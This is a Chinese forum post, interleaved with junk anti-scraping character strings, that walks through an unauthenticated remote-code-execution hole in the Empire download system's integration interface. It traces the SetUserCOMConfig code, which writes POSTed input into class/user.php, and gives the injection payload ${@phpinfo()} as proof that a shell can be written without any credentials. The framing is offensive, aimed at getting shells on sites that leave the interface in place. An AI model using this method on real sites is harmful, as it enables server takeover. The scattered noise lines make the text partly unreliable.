这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们) y# B1 O! ~$ Y
. I4 {& o$ v9 h4 Q# m. h
$ @% X$ u) O8 u, \4 K这是帝国的一套下载系统 如图
, f. T4 i1 h, l) X; \6 Nps(不需要任何账户和密码,直接写shell) 2 ^. m6 m2 S% s# [+ v# X+ K! A
由于很多站是由于下载要整合discuz 等等一些论坛....* C9 r- U% z) B) z- b
- H5 T: w2 d! ^ A9 g2 P9 y而帝国他又有一个万能接口,如图 0 o* O* g( t( E7 N' q8 j8 O
! {) j8 q" e/ h. x" K! B5 q; e
9 b2 k3 Q; S6 K& n9 d0 ~! x
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
, n$ O9 J% P; w- \& |& s2 U" \9 I0 i8 v$ @: g7 n2 G6 t3 c
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪* T: s, q5 C3 G4 ~6 i" H: `& u" c
5 y; p- |) W6 w Z在data/fun.php中的15行$ T3 c s' J& L I
: f* K3 W( F* U2 Y8 m( A9 p) F
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
* F4 n1 f, K& V, D7 D+ U17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干/ c+ g7 J" [% B( \
) ~$ Y# k* }7 X7 ^8 g这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
9 e8 x* a# b' T, ?$ k& J6 @1 f
他将传进来的变量进行了切割,然后赋给了$filetext! v: a' x4 W- q* _! {
$ l% v% a0 M+ e7 N$ i) f$ H然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
9 i0 U# l) `6 b- Y7 P5 c; P1 O; }0 s
我们看看写入的结果,随便填一个
$ U. w( [' g; w* a% d6 a( z a6 P* Y% U6 m) X2 v( L
. H6 T% d. y/ `3 u; L6 q/ i& U5 B6 e( i( W7 e' o$ J6 n
; m( u, o" k# x7 W0 N* h' \
( x) }+ R- u7 e& u7 s! P& o. r& C7 B; M$ P
V3 j+ |+ ]$ C8 U! E
% O+ r2 P6 o2 ?; Q
/ ~2 }7 m! C. e( A8 v
# _9 [: a. ^* }3 `
- J5 B6 J# G5 {& s, e- Z, u7 `3 ~0 F# G
, t5 r# c/ U3 F- c9 ^, j; N" B7 ]0 o# I: y5 f3 R* v7 W
( y! o3 ?! L' \, W
1 t( G$ ~- {9 B0 T6 ]( U) {; D3 u, U0 @9 _% ]7 \
/ e$ a& D/ a9 t: W7 @
F, W* H& p( @
& g) T6 a# e/ K/ R& l/ t
" E' }; C3 h3 }所以我们淫荡点,写个${@phpinfo()}试试
, Z; j& l0 Y0 X2 w# o$ |然后访问以下class/user.php这个文件
# R' m6 f3 b5 I* o5 F+ h2 _$ `日了吧 % `/ B3 U1 S) X& K# b
1 a6 V2 p" b# @2 {: l y) y- u) U! s) E9 p) |3 Y: ^* ^( S8 V
1 W# j* K/ U/ ^ O+ [: ~) F! U& D, c' S% C5 k. ^
6 @% I9 x% g' i2 v- L/ T |